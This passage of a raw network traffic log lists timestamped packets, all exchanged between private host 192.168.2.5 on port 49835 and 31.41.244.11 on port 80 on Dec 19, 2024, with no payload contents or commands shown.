Dec 19, 2024 03:09:14.409574032 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.410407066 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.410465002 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.410502911 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.410557032 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.411375046 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.411429882 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.411465883 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.411520004 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.412348986 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.412404060 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.412446976 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.412501097 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.413327932 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.413376093 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.413450956 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.413503885 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.414315939 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.414370060 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.414414883 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.414469004 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.415302992 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.415359020 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.415404081 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.415457010 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.416271925 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.416328907 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.416371107 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.416424990 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.417239904 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.417295933 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.417341948 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.417393923 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.418220997 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.418277025 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.418318987 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.418373108 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.419198990 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.419255018 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.419339895 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.419393063 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.420180082 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.420233965 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.420279980 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.420334101 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.421206951 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.421260118 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.421288013 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.421341896 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.422138929 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.422193050 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.422254086 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.422307014 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.423129082 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.423182964 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.423224926 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.423276901 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.424110889 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.424182892 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.424220085 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.424278021 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.425031900 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.425115108 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.566096067 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.566155910 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.566175938 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.566211939 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.566476107 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.566601038 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.566688061 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.566688061 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.567456007 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.567508936 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.567559958 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.567610979 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.568487883 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.568542004 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.568608046 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.568660021 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.569410086 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.569469929 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.569521904 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.569574118 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.570399046 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.570447922 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.570527077 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.570581913 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.571413040 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.571480989 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.571512938 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.571566105 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.572369099 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.572429895 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.572472095 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.572529078 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.573337078 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.573390007 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.573426008 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.573479891 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.574322939 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.574382067 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.574410915 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.574464083 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.575323105 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.575375080 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.575404882 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.575452089 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.576273918 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.576325893 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.576369047 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.576421022 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.577244997 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.577299118 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.577341080 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.577394009 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.578244925 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.578299046 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.578344107 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.578391075 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.579246998 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.579348087 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.579364061 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.579412937 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.580220938 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.580276966 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.580287933 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.580338001 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.581147909 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.581197023 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.581258059 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.581311941 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.582144976 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.582209110 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.582247972 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.582298994 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.583134890 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.583188057 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.583230972 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.583285093 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.584112883 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.584165096 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.584213972 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.584266901 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.585092068 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.585196018 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.585201025 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.585252047 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.586061954 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.586113930 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.586215973 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.586261034 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.587030888 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.587095976 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.587157965 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.587208986 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.588001966 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.588061094 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.588126898 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.588180065 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.588996887 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.589047909 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.589090109 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.589139938 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.589986086 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.590039015 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.590106964 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.590152979 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.591002941 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.591054916 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.591103077 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.591147900 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.591974020 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.592025995 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.592061996 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.592113018 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.592916965 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.592968941 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.593044043 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.593095064 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.593920946 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.593975067 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.594019890 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.594070911 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.594892979 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.594990015 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.595005989 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.595057964 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.595863104 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.595913887 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.595957994 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.596014977 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.596837044 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.596894979 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.596936941 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.596991062 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.597836971 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.597889900 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.597927094 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.597978115 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.598782063 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.598834991 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.598901987 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.598953962 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.599775076 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.599828005 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.599872112 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.599925041 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.600758076 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.600812912 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.600850105 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.600903034 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.601737976 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.601788998 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.601835966 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.601887941 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.602693081 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.602746964 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.602803946 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.602858067 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.603689909 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.603741884 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.603816032 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.603868961 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.604774952 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.604831934 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.604875088 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.604931116 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.605655909 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.605737925 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.605773926 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.605825901 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.606659889 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.606714010 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.606731892 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.606782913 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.607737064 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.607789993 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.607801914 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.607853889 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.608580112 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.608633995 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.608676910 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.608728886 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.609565020 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.609616995 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.609661102 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.609713078 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.610563040 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.610620975 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.610673904 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.610726118 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.611536026 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.611588955 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.611635923 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.611695051 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.612556934 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.612608910 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.612687111 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.612740040 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.613487005 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.613538980 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.613589048 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.613641024 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.614449978 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.614501953 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.614547014 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.614598989 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.615447044 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.615499973 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.615545034 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.615596056 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.616416931 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.616496086 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.616539955 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.616595984 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.617356062 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.617413044 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.758342028 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.758421898 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.758517981 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.758517981 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.758747101 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.758805990 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.758892059 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.758949041 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.759776115 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.759828091 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.759871960 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.759927988 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.760729074 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.760786057 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.760829926 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.760878086 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.761719942 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.761776924 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.761821032 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.761876106 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.762681961 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.762738943 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.762789011 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.762844086 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.763667107 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.763720989 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.763762951 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.763818026 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.764651060 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.764708996 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.764796019 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.764878988 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.765674114 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.765733957 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.765770912 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.765825033 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.766721010 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.766776085 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.766812086 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.766868114 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.767608881 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.767668962 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.767846107 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.767899990 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.768590927 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.768645048 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.768693924 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.768747091 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.769562960 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.769615889 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.769659042 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.769711018 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.770524979 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.770581007 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.770626068 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.770683050 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.771512985 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.771569967 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.771619081 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.771673918 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.772491932 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.772546053 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.772608995 CET	80	49835	31.41.244.11	192.168.2.5
